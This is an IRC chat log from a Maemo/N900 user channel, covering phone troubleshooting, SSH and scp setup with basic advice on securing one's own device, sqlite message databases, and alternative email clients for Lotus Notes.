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| GAN900 | OK, how the hell do I configure flashlight-extra? | 00:12 |
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| GAN900 | Ah, now it makes sense. | 00:15 |
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| jpinx-eeepc | what format does a file have to be in for it to be accepted by the Contact List import application? | 00:22 |
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| jpinx-eeepc | smhar: have you tried the application called scout. It works for me searching contacts etc | 00:27 |
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| smhar | jpinx-eeepc, yes, I tried scout, an I have been using it since its beginning, but now there is a plugin for Contacts: http://maemo.org/downloads/product/Maemo5/extended-contacts-search/ | 00:37 |
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| smhar | and there is the custom ring tones plugin: http://maemo.org/downloads/product/Maemo5/per-contact-ringtones/ | 00:38 |
| jpinx-eeepc | smhar: cool - thanks :) | 00:38 |
| smhar | jpinx-eeepc, so, still missing a way to create and use groups of contacts | 00:38 |
| jpinx-eeepc | smhar: you don't happen to know a way to import contacts froma file? | 00:39 |
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| smhar | depending on the format, you can use, Get Contacts from the contacts menu | 00:40 |
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| jpinx-eeepc | smhar: yea - I am in there, down to "import contacts file" -- but it does not recognise .csv or .ncc | 00:41 |
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| smhar | jpinx-eeepc, last item is Import Contacts, then Import contacts file | 00:42 |
| jpinx-eeepc | yes - but it doesn't reconise the formats | 00:42 |
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| smhar | sorry, never tried it myself | 00:45 |
| jpinx-eeepc | ok thanks | 00:45 |
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| pigeon | according to the offical spec of the n900, "Up to 16 GB of additional storage with an external microSD card", is that real? like a >16GB microsd won't work? | 01:11 |
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| GAN900 | pigeon, yes. | 01:15 |
| GAN900 | 16GB was just what was easily available when the N900 went through certification process. | 01:15 |
| pigeon | GAN900: sorry, you mean >16G will or will not work? | 01:16 |
| GAN900 | pigeon, there's no reason 2TB SDXC cards wouldn't work. | 01:16 |
| GAN900 | So, yes. | 01:16 |
| pigeon | right, thanks. | 01:17 |
| pigeon | sync | 01:17 |
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| pigeon | doh | 01:17 |
| pigeon | just that my 8G is full | 01:17 |
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| luke-jr | hmm | 02:47 |
| luke-jr | no other place to ask this ... :/ | 02:47 |
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| luke-jr | got an old Samsung A740 phone | 02:47 |
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| luke-jr | two of them actuall | 02:47 |
| luke-jr | can I just copy the rootfs from A->B to clone it? XD | 02:47 |
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| fredrin | jacekowski, why OC [l]user? | 04:34 |
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| nox- | OC is just OC, if it really was safe the higher speed would be default dont you think? :) | 04:38 |
| fredrin | nah | 04:39 |
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| nox- | mm | 04:40 |
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| GAN900 | lol | 05:10 |
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| paulanagrama | hi. how can I add a script to the application menu? | 06:36 |
| johnx | make a .desktop file for it | 06:37 |
| johnx | I think those .desktop files hang out in /usr/share/applications or a subdirectory of that | 06:37 |
| paulanagrama | thanks johnx | 06:38 |
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| paulanagrama | ok, If I have in the .desktop file the line Exec=/usr/home/ssh-status.sh, when I click on the icon in the menu, the script is not run... any idea why? | 06:45 |
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| johnx | just the usual ideas: is it executable? is /usr/home actually where it lives? | 06:46 |
| paulanagrama | you right :-) it is in /home/user not in /usr/home | 06:47 |
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| johnx | also, /home/user/script.sh is ok, but /home/user/MyDocs/script.sh is not ok, since /home/user/MyDocs is a FAT fs and scripts can't be executed from it (by default) IIRC | 06:48 |
| paulanagrama | ok | 06:48 |
| paulanagrama | let me try | 06:48 |
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| paulanagrama | ok. so my script creates a ssh tunnel. if I run the script in terminal, the tunnel is created as it should. if I run the script from the desktop file (clicking on the icon in the app menu), I get the message that the tunnel was created, but if I check with ps, the tunnel is not running. the question is, what's the difference between running a script in terminal and starting it from the app menu? | 07:09 |
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| paulanagrama | this is my script. when I start it from the menu, I get to the ssh tunnel creating command (line 36) because the proxy is enabled (lines 28 to 35), but the tunnel is not created | 07:25 |
| paulanagrama | http://pastie.org/1171514 | 07:25 |
| paulanagrama | if I run the same script from terminal, the tunnel is created | 07:26 |
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| luke-jr | paulanagrama: just use CLI like a man! | 07:29 |
| paulanagrama | what do you mean luke-jr? | 07:30 |
| johnx | paulanagrama, my wild guess is that it's $PATH related | 07:30 |
| luke-jr | I think my meaning is perfectly clear, kthx | 07:30 |
| johnx | paulanagrama, luke-jr is being a troll, like usual. don't worry about him | 07:31 |
| paulanagrama | hehe | 07:31 |
| johnx | my other thought is that ssh might want a controlling terminal | 07:31 |
| luke-jr | johnx: not if you put -N | 07:31 |
| johnx | hence (thought ... might) :) | 07:31 |
| luke-jr | -N disable troll mode | 07:32 |
| luke-jr | rtfm! | 07:32 |
| johnx | and do think all this time I just wasn't passing you the *right* argument. heh | 07:32 |
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| paulanagrama | I'll try to move the script in /usr/sbin and see if that makes any difference | 07:33 |
| johnx | that would probably be even less good | 07:33 |
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| johnx | if it was me, I'd just start logging all output to a file | 07:34 |
| johnx | but I've been known to take the easy way out ;) | 07:34 |
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| paulanagrama | yeah, just the same in that dir too. under what user are the applications started when you run them from the app menu? | 07:38 |
| johnx | same user as on the command line | 07:39 |
| paulanagrama | on the command line I run it as root | 07:39 |
| johnx | aaaah, huh | 07:40 |
| paulanagrama | hmm. probably I need to get a certificate for ssh under user too | 07:40 |
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| dr34m | hm this is weird | 07:47 |
| dr34m | i woke up this morning booted my n900 but ssh wont work anymore from xterm | 07:47 |
| dr34m | seems to be gone lol :| | 07:47 |
| johnx | uhm, little more detail needed :P | 07:48 |
| dr34m | ssh not found ;) | 07:48 |
| johnx | result of: ls -l /usr/bin/ssh | 07:48 |
| johnx | ? | 07:48 |
| dr34m | yeah need to install again but still why its gone in first place | 07:49 |
| johnx | dr34m, yeah, without a bit more detail, all I can do is make something up | 07:49 |
| dr34m | think my phone develops own life | 07:50 |
| dr34m | mom | 07:50 |
| johnx | your government is taking away any software that enables high security encryption | 07:50 |
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| johnx | and Nokia is helping them | 07:50 |
| johnx | also, all of us in here are members of the CIA | 07:50 |
| paulanagrama | I think my problem is that I don't have auto login for ssh under the user. I can't fix it now because I need access to the server to copy the certificate... but I think that's the problem | 07:50 |
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| johnx | well, log into the server as root. root has auto-login, right? | 07:51 |
| paulanagrama | yeah | 07:51 |
| jpinx-eeepc | anyone able to help me debug the usb networking between the n900 and my eeepc? I get a positive answer in syslog in the eeepc of the plugin event and the renaming of the interfce, but the n900 dmesg is full of crud :/ | 07:51 |
| jpinx-eeepc | such as " [115043.418914] musb_hdrc periph: enabled ep7in for int IN, maxpacket 16 " | 07:51 |
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| jpinx-eeepc | and ping is giving me an invalid argument reply | 07:52 |
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| johnx | invalid argument? full output? | 07:53 |
| paulanagrama | johnx, I have the ssh password, I can ssh under the user too, but I have to create a certificate that resides on the server and then copy it to n900 in .ssh in the user's home... and I can't (I don't know how) to copy the certificate from here. The server is my office computer. I'll do it tomorrow | 07:53 |
| johnx | scp :) | 07:54 |
| jpinx-eeepc | johnx: black901eeepc:/home/johnp# ping 192.168.2.15 | 07:54 |
| jpinx-eeepc | PING 192.168.2.15 (192.168.2.15) 56(84) bytes of data. | 07:54 |
| jpinx-eeepc | ping: sendmsg: Invalid argument | 07:54 |
| johnx | huh | 07:55 |
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| johnx | I can't remember if that's normal or not | 07:55 |
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| paulanagrama | yeah, I am too lazy now to look into scp or to install filezilla... I'm watching dancing with the stars in the same time. thanks for help johnx, I know what is wrong now | 07:55 |
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| dr34m | apt-get install openssh-client did it again | 07:55 |
| jpinx-eeepc | not normal - and from the n900 there is no response to pin | 07:56 |
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| jpinx-eeepc | johnx: this has been an intermittent pita on reconnecting the usb network | 07:56 |
| johnx | paulanagrama, cheat sheet: scp file.txt user@example.com:/path/to/dir/ | 07:56 |
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| * johnx 's new purpose in life: to interrupt people who are watching dancing with the stars | 07:57 | |
| jpinx-eeepc | or use sshfs ;) | 07:57 |
| johnx | sshfs isn't on every machine with openssh ;) | 07:58 |
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| * jpinx-eeepc admins his fs with sshfs from the eeepc's pcmanfim - too easy | 07:59 | |
| paulanagrama | ok, let me try. | 07:59 |
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| jpinx-eeepc | johnx: so what am I looking for in dmesg when I plug the usb network cable into the n900? | 08:00 |
| jpinx-eeepc | when I plug or unplug it, the PCsuite option comes up, but there is no sensible entry in dmesg;/ | 08:01 |
| johnx | jpinx-eeepc, dunno | 08:01 |
| MohammadAG51 | Shapeshifter, reactionfaceoff works now | 08:02 |
| jpinx-eeepc | and there is no syslog to tail | 08:02 |
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| paulanagrama | johnx, so scp file.txt user@example.com:/path/to/dir/ copies the file.txt from the server to the local machine in current dir? | 08:09 |
| johnx | nope | 08:09 |
| johnx | it's just like cp | 08:09 |
| paulanagrama | ok | 08:09 |
| johnx | remote to local: scp remote:/path/file.txt /localdir/ | 08:09 |
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| johnx | the only rule is that, IIRC, at most one can be remote | 08:10 |
| MohammadAG51 | actually i think two remotes are possible | 08:11 |
| johnx | huh | 08:11 |
| MohammadAG51 | but it will be painfully slow | 08:11 |
| MohammadAG51 | you act as a link between the two remotes | 08:11 |
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| johnx | well you're right. wow. I've been thinking that wasn't possible for the longest time | 08:12 |
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| paulanagrama | YES! works now. | 08:19 |
| johnx | hot sauce | 08:20 |
| johnx | also: scp is totally invaluable and will change your life :) | 08:20 |
| paulanagrama | I'm using that script to create a secure http tunnel from my n900 to my computer, so if I'm on unsecured wifi somewhere and I want to access my bank I don't have to worry... | 08:21 |
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| paulanagrama | now I have a way to start it easy from the menu! | 08:21 |
| jpinx-eeepc | johnx: it's gremlinss -- I unplugged and replugged after a minute, was reading dmesg and suddenly it started pinging :/l | 08:23 |
| johnx | I hate USB gremlins | 08:23 |
| jpinx-eeepc | my n900 is definitely female | 08:23 |
| jpinx-eeepc | moody and contrary :D | 08:23 |
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| paulanagrama | thanks for the help. see ya all | 08:24 |
| visz | passes out just when you get excited? | 08:24 |
| johnx | but still the object of your desire | 08:24 |
| johnx | 'later paulanagrama | 08:24 |
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| jpinx-eeepc | yea - something like all of that :) | 08:25 |
| jpinx-eeepc | works a treat when it works :) | 08:25 |
| johnx | and then you fall asleep and it still has battery life for another 6 hours | 08:26 |
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| jpinx-eeepc | heh - you get that problem too? ;) | 08:26 |
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| * jpinx-eeepc sticks a usb charger up johnx s ..... | 08:27 | |
| johnx | nah, I just plug my N900 in at night. Dunno what you're talking about ... | 08:27 |
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| Shapeshifter | MohammadAG51: yay | 09:00 |
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| lolloo | I installed openssh client and server, now how can I run it? | 09:17 |
| johnx | the server is running | 09:17 |
| mece | lolloo, it's running | 09:17 |
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| toggles | yup, i'm logged in right now | 09:18 |
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| lolloo | how can I login? | 09:19 |
| jpinx-eeepc | just ssh root@192.168.1.11 (or whatever ip shows in ifconfig) | 09:19 |
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| lolloo | so if someone logged in my server can take control of my n900..: | 09:21 |
| lolloo | ? | 09:21 |
| rmrfchik | i already did | 09:22 |
| rmrfchik | wait, logging off | 09:22 |
| jpinx-eeepc | you have a password | 09:22 |
| lolloo | yes I made a password. is it safe now? | 09:23 |
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| lolloo | is there a way to login from my pc witn windows to my N900? | 09:23 |
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| jpinx-eeepc | lolloo: putty | 09:24 |
| lolloo | whats that? | 09:24 |
| jpinx-eeepc | google - it's ssh from windows | 09:24 |
| lolloo | ok | 09:24 |
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| lolloo | so what is the main use of openssh? | 09:25 |
| jpinx-eeepc | is it available for wondows? | 09:26 |
| johnx | lolloo, why did you install openssh if you don't know what to use it for? | 09:26 |
| lolloo | I saw the chat here | 09:27 |
| visz | openssh works with cygwin? | 09:27 |
| johnx | you can get a shell on your N900 from your desktop. Also, you can use it to transfer files with filezilla or another ftp/sftp client | 09:28 |
| johnx | that's about it | 09:28 |
| lolloo | wow | 09:28 |
| jpinx-eeepc | there are some differences / restrictions, but with sshfs I can view and modify the fs either locvally or remotely without issues | 09:29 |
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| lolloo | what is my ip to login? | 09:30 |
| jpinx-eeepc | lolloo: in the n900 open a Xterm and do ifconfig -a and you will see the local IP | 09:31 |
| lolloo | awesome, | 09:31 |
| jpinx-eeepc | you might have to be root - can't remember | 09:32 |
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| MiXu- | yeah you do | 09:32 |
| lolloo | how do I close connection or open it? | 09:32 |
| lolloo | i got 1270.0.1 | 09:33 |
| johnx | to exit type "exit" | 09:33 |
| lolloo | is that right IP? | 09:33 |
| lolloo | where do I type exit in? | 09:33 |
| johnx | yeah, you probably need to read up a bit more on how the command line and networking works in general before this will be very helpful to you | 09:34 |
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| lolloo | am using putty. | 09:34 |
| lolloo | what is my login name? | 09:34 |
| johnx | root | 09:34 |
| lolloo | awesome johnx | 09:35 |
| lolloo | now how do I transfer files? | 09:35 |
| johnx | get an sftp client, like filezilla | 09:36 |
| toggles | i thought is was user? | 09:36 |
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| johnx | root or user work, but openssh only makes you set a root password | 09:36 |
| ZogG | toggles dependes, you can config user i think | 09:36 |
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| johnx | I get the feeling that lolloo hasn't set a password for user yet ... | 09:37 |
| lolloo | hahaha | 09:37 |
| lolloo | I did | 09:37 |
| lolloo | ok am using FireFTP, | 09:37 |
| lolloo | is it fine? | 09:37 |
| johnx | sure | 09:37 |
| lolloo | where do I put my IP? | 09:37 |
| johnx | no idea | 09:38 |
| jpinx-eeepc | what's the IP | 09:38 |
| jpinx-eeepc | should be 192.168.#.## | 09:38 |
| lolloo | 192.168.1.65 | 09:38 |
| lolloo | filezila says unable mmm | 09:39 |
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| lolloo | how do I run the server again? | 09:40 |
| lolloo | from my phone? | 09:40 |
| johnx | lolloo, it starts automatically | 09:40 |
| lolloo | is it running now? | 09:41 |
| lolloo | how do I stop it? | 09:41 |
| mece | xterm | 09:43 |
| mece | lolloo, root, /etc/int.d/ssh stop | 09:43 |
| lolloo | ok | 09:43 |
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| lolloo | congrats! worked! | 09:45 |
| lolloo | but how will it run if i close it? | 09:45 |
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| lolloo | I couldnt close the server. | 09:52 |
| lolloo | /etc/int.d/ssh stop | 09:52 |
| lolloo | i used this | 09:52 |
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| lolloo | didnt close it | 09:53 |
| MiXu- | I think there's some widget in repos that acts as an on/off switch for sshd | 09:54 |
| lolloo | wow | 09:55 |
| johnx | lolloo, exit | 09:55 |
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| johnx | lolloo, also: http://linuxcommand.org/learning_the_shell.php | 09:55 |
| lolloo | I would like to get it MiXu- | 09:55 |
| MiXu- | Well then go get it :D | 09:55 |
| MiXu- | It's in extras or extras-testing | 09:55 |
| johnx | MiXu-, I think he's asking for permission | 09:55 |
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| lolloo | omg thank you so much guys! | 09:58 |
| lolloo | it worked! | 09:58 |
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| lolloo | really funl but which directory is my pictures? | 09:59 |
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| lolloo | what directory is my images on my N900? | 10:04 |
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| air | its /home/user/MyDocs/.images/ on the n8x0 | 10:05 |
| lolloo | awesome air! | 10:06 |
| air | same on the n900? | 10:08 |
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| lolloo | yes air | 10:13 |
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| lolloo | where can I find Maemo Notify plugin for xchat? | 10:23 |
| lolloo | where is it on my phone? | 10:23 |
| air | is it something xchat installed? | 10:24 |
| lolloo | yes. | 10:24 |
| air | dpkg -l xchat | 10:25 |
| lolloo | -l | 10:25 |
| air | that should display all files xchat installed | 10:25 |
| air | er -L | 10:25 |
| lolloo | haha yes | 10:26 |
| lolloo | its not installed | 10:26 |
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| lolloo | where is the plugin actuel directory? | 10:26 |
| air | no idea | 10:27 |
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| crashanddie | 'sup | 10:34 |
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| lolloo | I found the SSH status and switcher! YAY! | 10:37 |
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| lolloo | can anyone login to my ssh server? | 10:39 |
| crashanddie | not without a hostname, username and password. | 10:39 |
| lolloo | can you know my hostname from here? from IRC? | 10:40 |
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| Stskeeps | lolloo: you really don't want other people to ssh to your device | 10:41 |
| lolloo | yes I dont... I want to know how to protect it. | 10:41 |
| Stskeeps | put a proper password on it | 10:41 |
| Stskeeps | :P | 10:41 |
| mece | Stskeeps, why not? I have people ssh:ing to mine all the time. | 10:41 |
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| air | disable password, use keys | 10:41 |
| crashanddie | lolloo: are you on 3G? | 10:41 |
| lolloo | is it possible for you guys to know my hostname from here? | 10:42 |
| crashanddie | yes | 10:42 |
| air | move server to a different port | 10:42 |
| lolloo | omg | 10:42 |
| crashanddie | but that only matters if you're directly connected to the internet, without any NAT | 10:42 |
| crashanddie | which I highly doubt | 10:42 |
| mece | crashanddie, why would you doubt that? | 10:42 |
| lolloo | I am using wirless | 10:42 |
| mece | crashanddie, ok. That's why :) | 10:42 |
| johnx | lolloo, just set a better password | 10:43 |
| johnx | the one you have now is too easy to guess | 10:43 |
| jpinx-eeepc | I've found the .osso-abook for the contact list, but where is the db of the messages/conversation? | 10:43 |
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| crashanddie | jpinx-eeepc: google el.db | 10:43 |
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| jpinx-eeepc | crashanddie: k | 10:43 |
| crashanddie | lolloo: you're using a wireless router, and there's a high probability that it is NAT'd. This means that it is difficult (although not impossible, given the proper configuration) for someone to enter your network and talk to devices directly. | 10:44 |
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| * lolloo sees | 10:45 | |
| crashanddie | this being said, the issue isn't so much from the outside of the internet, but from your local network. | 10:45 |
| crashanddie | Don't forget that you'll be likely to connect your N900 to a bunch of different hotspots in the future | 10:46 |
| crashanddie | so just change the SSH port to a non-default one, and disable password authentication, only use key-based auth. | 10:46 |
| Surfa | in some countries incoming tcp connections are filtered in GPRS networks as well, so it's not necessarily problem there either.. but it depends | 10:46 |
| johnx | ok, just start by making up a better password | 10:46 |
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| Surfa | changing server port is waste of time.. | 10:47 |
| crashanddie | Surfa: it's not really about incoming tcp connections being filtered | 10:47 |
| Surfa | crashanddie, why not? | 10:47 |
| crashanddie | Surfa: it's about shared IP addresses and the incoming routers (if they're listening at all) not knowing where to send the data | 10:47 |
| Surfa | i'm not talking about nat here | 10:48 |
| crashanddie | if everyone had unique IP addresses on 3G/GPRS, then you would still get pwned immensely | 10:48 |
| crashanddie | you really believe your 3G IP address is unique? | 10:48 |
| crashanddie | that nobody else is using it? | 10:48 |
| Surfa | i dont' need to think so because I know it is | 10:48 |
| crashanddie | well, then you're a lucky person (well, not really, no use), and your ISP is an idiot | 10:49 |
| Surfa | the time I'm using it, after closing the connection the case is totally different | 10:49 |
| jpinx-eeepc | what is the simplest application to read that db from the commandline, and maybe export it in plain text or .csv ? | 10:49 |
| crashanddie | jpinx-eeepc: sqlite | 10:49 |
| Jaffa | Morning, all | 10:49 |
| johnx | sqlite3 | 10:49 |
| johnx | the 3 is important | 10:49 |
| johnx | ask me how I know ... | 10:50 |
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| Surfa | crashanddie, idiots all over the place, but anyway many operators even that they offer public ip addresses filter out incoming tcp connections in some countries which gives protection of some kind | 10:50 |
| jpinx-eeepc | sounds like bad experience johnx ;9 | 10:50 |
| crashanddie | Surfa: I've only seen very few ISPs actually provided non-NAT'd services to 3G users. Well, including yours, that's 2. | 10:50 |
| johnx | jpinx-eeepc, I just didn't realize they were different commands. Bashed my head against a wall wondering why my database was 'corrupted' | 10:50 |
| Surfa | welcome to finland | 10:50 |
| crashanddie | heh | 10:50 |
| johnx | crashanddie, 3 | 10:50 |
| Surfa | here we have this thing called "reilu meininki" | 10:51 |
| tobis87 | crashanddie: Hi, any news yet on the wireless injection driver? | 10:51 |
| jpinx-eeepc | johnx: ok - thanks | 10:51 |
| crashanddie | tobis87: working on it, but life got in the way, I can email it if you want | 10:51 |
| crashanddie | it's not neatly packaged, but should do the trick | 10:51 |
| Surfa | it's not that uncommon, many operators offer parallel apn's that provide public ip-addresses for the users that feel to need it | 10:51 |
| crashanddie | kerio has it, he should be able to say if it worked for him or not | 10:51 |
| Surfa | and many natted apn's are suffering from capacity problems in nat tables (in finland) | 10:52 |
| kerio | still haven't tried that :| | 10:52 |
| tobis87 | crashanddie: Is it already source, or do you only have the neopwn binaries? | 10:52 |
| crashanddie | only binaries | 10:52 |
| kerio | i don't have a working usb port and it's my only phone at the moment so... | 10:52 |
| crashanddie | or ASM source if you want :P | 10:52 |
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| joga | is there *any* proper email client for n900? | 10:53 |
| joga | the default one is not. I'm thinking something like icedove | 10:54 |
| tobis87 | crashanddie: Ok, I can wait... It's not that I don't trust it, but I don't like using binary modules without knowing the src in general. I also have compiled the fcam drivers myself, I did had bad cflags inside the makefile -O2 -g | 10:54 |
| crashanddie | so you read the whole openoffice, firefox, and linux source code? | 10:54 |
| crashanddie | point taken though, working on it | 10:55 |
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| tobis87 | No, it depends. I read changes to drivers. I do trust drivers which come from mainland. | 10:56 |
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| crashanddie | I'm in France, does that count as "mainland"? | 10:56 |
| merlin1991 | crashanddie, nah, that counts as something else ; | 10:57 |
| merlin1991 | s/;/;)/ | 10:57 |
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| crashanddie | why didn't infobot notice that one? | 11:00 |
| crashanddie | s/one/regex/ | 11:00 |
| infobot | crashanddie meant: why didn't infobot notice that regex? | 11:00 |
| joga | let me rephrase this: is the n900 default mail program the only email program available? | 11:00 |
| joga | not counting easydebian+icedove or such, that business people won't use | 11:00 |
| crashanddie | it's not an e-series phone | 11:00 |
| crashanddie | it's not aimed at business users | 11:00 |
| merlin1991 | crashanddie, I bet the ; is some sort of reserved char | 11:00 |
| crashanddie | which is something I've been crying about for ages | 11:01 |
| joga | I know, but no alternative email client? | 11:01 |
| merlin1991 | s/\;/\;pwnd/ | 11:01 |
| johnx | joga, I think there might be claws or something. not sure | 11:01 |
| merlin1991 | hm | 11:01 |
| joga | there's like 5 different browsers | 11:01 |
| kerio | browsers are cool | 11:01 |
| kerio | email clients are boring | 11:01 |
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| crashanddie | joga: which should tell you about the state of fat-client email clients | 11:01 |
| joga | it's not that *I* need it, but I was asked about it | 11:01 |
| joga | and I admit it would be kind of cool to, say, being able to sort the messages | 11:02 |
| joga | and if it would even show all the messages there too | 11:02 |
| crashanddie | as opposed to gmail, hotmail, foomail | 11:02 |
| joga | in this case the problem is using lotus notes mail :) | 11:02 |
| joga | (and the webmail for that stinks just as bad as notes itself) | 11:02 |
| flux | joga, there appear to be some: qmfmail - The Qt Mail Application, claws-mail - A GTK+ based, lightweight, and fast e-mail client. and trojita - A Qt IMAP e-mail client | 11:02 |
| flux | (there I found by using 'apt-cache search') | 11:03 |
| flux | (these, even) | 11:03 |
| joga | hmm...I guess those don't show up in my fam | 11:03 |
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| flux | they could come from extras-devel | 11:03 |
| flux | in other words, quality not guaranteed :-) | 11:03 |
| joga | k, so nerd solution :) | 11:03 |
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| flux | yeah, they all come from extras-devel | 11:04 |
| crashanddie | joga: does notes provide POP/IMAP read access? | 11:04 |
| joga | crashanddie: yes, imap4 | 11:04 |
| flux | apparently there's an itch people want to scratch :) | 11:04 |
| crashanddie | then use gmail to access it :P | 11:04 |
| joga | ...no :) | 11:04 |
| joga | it has its own webmail too | 11:04 |
| crashanddie | webmail != good interface | 11:05 |
| joga | it's simply not acceptable to use gmail for any of this | 11:06 |
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| crashanddie | it isn't? | 11:06 |
| joga | nope | 11:06 |
| joga | (in this case. I work at the university, and these people's mail don't belong to google) | 11:06 |
| joga | hmm, qmfmail does show up, I guess it's in -testing | 11:08 |
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| joga | actually someone at some meeting proposed using google calendar and was quickly thwarted by the security folks | 11:09 |
| joga | but I'll try qmfmail and see if it can handle notes.. | 11:09 |
| crashanddie | lol | 11:09 |
| crashanddie | if you're using notes, you're most probably part of an organisation (or government branch) that buys the IT services from another company | 11:10 |
| joga | we host the notes servers | 11:10 |
| crashanddie | and? | 11:10 |
| joga | we don't host gmail | 11:11 |
| joga | ::) | 11:11 |
| joga | -: | 11:11 |
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| joga | there's probably thousands of systems in use here, some more critical than others | 11:11 |
| crashanddie | so the people who work in your IT department are not contracted? | 11:11 |
| joga | notes is something of a burden | 11:11 |
| joga | no | 11:12 |
| crashanddie | Well yeah, notes is one of those PITA solutions that overstayed its welcome | 11:12 |
| joga | yeah, no direct replacement exists | 11:12 |
| crashanddie | do you use it for project management, bug tracking and all too? | 11:12 |
| joga | and it would be a ... *huge* job to even migrate to it :) | 11:12 |
| joga | it's used for all sorts of things... | 11:13 |
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| crashanddie | my last contracting gig was just that -- bug tracking on one side in lotus notes, and we were supposed to manually commit them into my company's bugtracker | 11:13 |
| crashanddie | I quickly wrote a python script that would get the new/update fixes, send them as patches to my inbox, queue them up for testing, and would commit them immediately to the real bugtracker | 11:14 |
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| merlin1991 | hehe | 11:14 |
| crashanddie | It's funny though, I was probably doing something illegal by doing that | 11:15 |
| crashanddie | fucking stupid government guideilnes | 11:15 |
| crashanddie | s/iln/lin | 11:15 |
| kerio | how's that illegal | 11:15 |
| crashanddie | kerio: I think I read that we weren't allowed to interact with production servers unless the tools used to access them were approved by a manager | 11:15 |
| crashanddie | and signed off by the customer | 11:16 |
| merlin1991 | rofl | 11:16 |
| crashanddie | technically speaking, I wasn't allowed to talk to specific people on the same floor as me -- because I was representing an exterior commercial entity, and they were influential decisionmakers. | 11:16 |
| kerio | hahaha | 11:17 |
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| merlin1991 | sounds like fun | 11:17 |
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| crashanddie | The day the building flooded, I really felt like just legging it and not telling anyone so they'd drown: "I wasn't allowed to talk to them!!!" | 11:17 |
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| nidO | the irony of influential decisionmakers who are so easily influenced that you cant talk to them | 11:17 |
| crashanddie | nidO: innit | 11:18 |
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| crashanddie | nid0: truth is, you're probably more likely to influence decisions by talking to 200 low-levels than 1 high-level. | 11:18 |
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| crashanddie | The low-levels aren't expecting to be paid off with a villa in the south of france. | 11:19 |
| joga | qmfmail can handle notes mail better, it seems, but the UI is cramped to say the least | 11:19 |
| jpinx-eeepc | johnx: ffx sqlite add-on :) | 11:20 |
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| johnx | wow. coolness | 11:21 |
| mece | is there a blacklist app for N900? I've got an anormous list of telemarketing phone numbers. | 11:21 |
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| joga | but yeah, it "kinda" works at least. the n900 email program simply hid the new messages and called them expunged, and showed two inboxes | 11:21 |
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| joga | also funny thing: the usernames for Notes can either be used in short form "johndoe" or long form "John Doe/dept/Our University", and the first time I entered the account info in mail, it didn't complain about long form | 11:24 |
| joga | now that I went to edit it, it says " " is invalid for the field, and the username field is empty, gray, and unmodifiable | 11:24 |
| joga | so I guess now I have to delete the account and do it again or something... | 11:24 |
| crashanddie | it's thinking you're doing a perl replace | 11:25 |
| crashanddie | :D | 11:25 |
| crashanddie | perl: Error: "Our University" is an illegal modifier for regex /dept/ | 11:25 |
| joga | heh | 11:25 |
| mece | LOL | 11:25 |
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| joga | it actually says 'Field unable to contain " "' | 11:26 |
| kerio | to be fair, having / in a username is just plain stupid | 11:26 |
| joga | kerio, notes *IS* plain stupid | 11:26 |
| joga | :) | 11:26 |
| kerio | yeah, that was the logical conclusion | 11:26 |
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| johnx | well, either Lotus isn't following standards or the mail program isn't ... | 11:28 |
| merlin1991 | or both | 11:29 |
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| psycho_oreos | ~seen | 11:32 |
| joga | qmfmail seems to handle it without problems at least... | 11:33 |
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| joga | it's just unusable otherwise :) | 11:33 |
| jpinx-eeepc | johnx: fail to read sqlite3 in that add-on:( | 11:35 |
| johnx | ouch | 11:35 |
| johnx | but at least you knew that was something that could happen :) | 11:36 |
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| jpinx-eeepc | johnx: working on it.... | 11:36 |
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| crashanddie | johnx: lotus notes doesn't follow standards | 11:39 |
| crashanddie | johnx: / is an illegal character IIRC, and it only works within notse | 11:39 |
| johnx | then how do people with lotus notes get email from people ... ? | 11:40 |
| crashanddie | there's an alias | 11:40 |
| johnx | good guess, but in this case the email client is at fault: http://en.wikipedia.org/wiki/Email_address#Syntax | 11:40 |
| johnx | also, just because '/' is MUST be supported, doesn't mean that it 'SHOULD NOT' be used | 11:41 |
| flux | johnx, indeed, because most people just validate for characters that are valid per their gut-feeling | 11:41 |
| flux | other developers should take that into account. | 11:42 |
| * johnx phrased that one badly, but doing an s///g would take too long | 11:42 | |
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| johnx | what I was trying to say was that there are a fair number of situations that 'MUST' be supported, even though the next line of the spec says that they 'SHOULD NOT' be used | 11:45 |
| johnx | such as, case sensitivity in the local part of the email address | 11:45 |
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| flux | well, servers can provide different interpretations of valid addresses, but surely email clients should be as permissive as possible? | 11:51 |
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| flux | and by different interpretations I of course mean the servers that finally deliver the messages to the inboxes; the intermediate servers again should be as permissive as possible | 11:52 |
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| psycho_oreos | any of you guys played with titan's power kernel? especially in the form of custom compiling and hopefully tinkered with extraversion tags | 11:55 |
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| mece | hmm can you make an infoprint stay longer than the 3 seconds or so it does by default I wonder? | 12:11 |
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| mece | aaaaw crap! trying to find reference manuals for python osso stuff is making me want to do drugs!! | 12:23 |
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| Appiah | mece: do drugs once you find it | 12:25 |
| Appiah | you'll make killer apps! | 12:25 |
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| lolloo | how can I turn ON xchat plugin maemo notifier? | 12:36 |
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| mece | ok apparently infoprints can't be easily customized :/:/:/ | 12:38 |
| mece | bleh. | 12:38 |
| MNZ | good morning #maemo! | 12:38 |
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| mece | just a tiny "timeout" variable with a default value would have made that function sooo much better | 12:38 |
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| lolloo | how can I turn ON xchat plugin maemo notifier? it's there but not working! | 12:41 |
| lolloo | good morning MNZ | 12:41 |
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| timeless_pidgin | Help! | 12:42 |
| mece | timeless_pidgin, what's up? | 12:42 |
| timeless_pidgin | I'm looking for a place where apple (probably steve jobs) explained the mistakes made by cell phone vendors | 12:43 |
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| timeless_pidgin | It was probably the initial iphone launch | 12:43 |
| johnx | you mean where he explained about people not needing copy+paste or where he explained that people were holding cell phones wrong? | 12:44 |
| timeless_pidgin | Not iphone 4 | 12:45 |
| timeless_pidgin | Where he said that vendors let networks dictate features | 12:45 |
| timeless_pidgin | And how that led to garbage | 12:45 |
| timeless_pidgin | Iirc there were about 5 points | 12:46 |
| nidO | ah yes, shortly before the networks got apple to make tethering a lockable option that requires an extra payment to the carrier + itunes to unlock. | 12:46 |
| timeless_pidgin | Ignore that | 12:46 |
| timeless_pidgin | It's the principle that counts | 12:47 |
| timeless_pidgin | Link help wanted | 12:47 |
| mece | timeless_pidgin, this one perhaps? http://www.youtube.com/watch?v=gO420B02Q84 | 12:47 |
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| timeless_pidgin | http://www.youtube.com/watch?v=vZYlhShD2oQ perhaps? Dunno | 12:48 |
| timeless_pidgin | Is there a standalone youtube app? | 12:48 |
| timeless_pidgin | That supports urls like the above? | 12:48 |
| mece | zoutube if you talk about n900 | 12:48 |
| mece | hmm | 12:49 |
| mece | ni idea actually. | 12:49 |
| timeless_pidgin | I have zoutube... | 12:49 |
| mece | I don't remember how it works | 12:49 |
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| timeless_pidgin | Ah, the hidden search menu item does | 12:50 |
| mece | :) | 12:51 |
| mece | ok damn.. | 12:53 |
